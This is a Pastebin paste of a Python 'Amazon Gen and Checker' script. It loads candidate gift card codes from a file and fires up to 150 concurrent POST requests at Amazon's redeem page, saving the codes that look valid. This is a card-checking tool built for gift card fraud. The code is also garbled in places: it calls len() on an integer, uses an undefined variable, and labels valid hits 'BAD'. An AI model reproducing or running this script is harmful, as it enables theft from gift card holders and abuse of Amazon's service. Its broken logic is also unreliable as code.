Advertisement
69TOKYO96

Untitled

Nov 12th, 2019
105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.52 KB | None | 0 0
  1. import requests
  2. import threading
  3. import time
  4. from colorama import init, Fore
  5. import ctypes
  6. import string
  7. import random
  8.  
  9. init(convert=True)
  10. ctypes.windll.kernel32.SetConsoleTitleW("Amazon Gen and Checker by Sleep")
  11. text = '''
  12. ██╗ ██╗ ████████╗ ██████╗ ███████╗ █████╗ ███╗ ███╗ █████╗ ███╗ ███╗ ███████╗ ██████╗ ███╗ ██╗
  13. ╚██╗██╔╝ ╚══██╔══╝ ██╔══██╗ ██╔════╝ ██╔══██╗ ████╗ ████║ ██╔══██╗ ████╗ ████║ ╚══███╔╝ ██╔═══██╗ ████╗ ██║
  14. ╚███╔╝ ██║ ██████╔╝ █████╗ ███████║ ██╔████╔██║ ███████║ ██╔████╔██║ ███╔╝ ██║ ██║ ██╔██╗ ██║
  15. ██╔██╗ ██║ ██╔══██╗ ██╔══╝ ██╔══██║ ██║╚██╔╝██║ ██╔══██║ ██║╚██╔╝██║ ███╔╝ ██║ ██║ ██║╚██╗██║
  16. ██╔╝ ██╗ ██║ ██║ ██║ ███████╗ ██║ ██║ ██║ ╚═╝ ██║ ██║ ██║ ██║ ╚═╝ ██║ ███████╗ ╚██████╔╝ ██║ ╚████║
  17. ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═══╝ '''
  18.  
  19. print(Fore.CYAN + text +'\n\n')
  20.  
  21. giftcards = []
  22. num = 0
  23. valid = 0
  24. invalid = 0
  25.  
  26.  
  27. def load_accounts():
  28. with open('giftcards.txt', 'r', encoding='utf8') as f:
  29. for x in f.readlines():
  30. giftcards.append(x.strip())
  31.  
  32.  
  33. def safe_print(content):
  34. print("{}\n".format(content))
  35.  
  36.  
  37. def save(giftcard):
  38. with open('valid.txt', 'a', encoding='utf8') as f:
  39. f.write(giftcard + '\n')
  40.  
  41.  
  42. def checker():
  43. global giftcards
  44. global num
  45. global counter
  46. global invalid
  47. global valid
  48. success_keyword = """ <b>Enter claim code</b> """
  49. r = requests.post("https://www.amazon.com/gc/redeem?ref_=gcui_b_e_r_c_d_b_w", data={"giftcard": giftcards[num]})
  50. if success_keyword in r.text:
  51. valid += 1
  52. print(
  53. f"{Fore.WHITE}[{Fore.CYAN}{invalid}{Fore.WHITE}/{Fore.YELLOW}{len(invalid)}{Fore.WHITE}] {Fore.RED}{invalid} - BAD".replace( "\n", ""))
  54. save(giftcard[num])
  55. ctypes.windll.kernel32.SetConsoleTitleW(
  56. "Amazon Checker | Checked: " + str(num) + "/" + str(len(giftcards)) + " | Valid: " + str(
  57. valid) + " | Invalid: " + str(invalid) + " | Developed by Sleep")
  58. else:
  59. safe_print(Fore.RED + '[Invalid] ' + giftcards[num])
  60. invalid += 1
  61. ctypes.windll.kernel32.SetConsoleTitleW(
  62. "Amazon Checker | Checked: " + str(num) + "/" + str(len(giftcards)) + " | Valid: " + str( valid) + " | Invalid: " + str(invalid) + " | Developed by Sleep")
  63.  
  64.  
  65. load_accounts()
  66.  
  67. while True:
  68. if threading.active_count() < 150:
  69. threading.Thread(target=checker, args=()).start()
  70. time.sleep(0.20)
  71. num += 1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement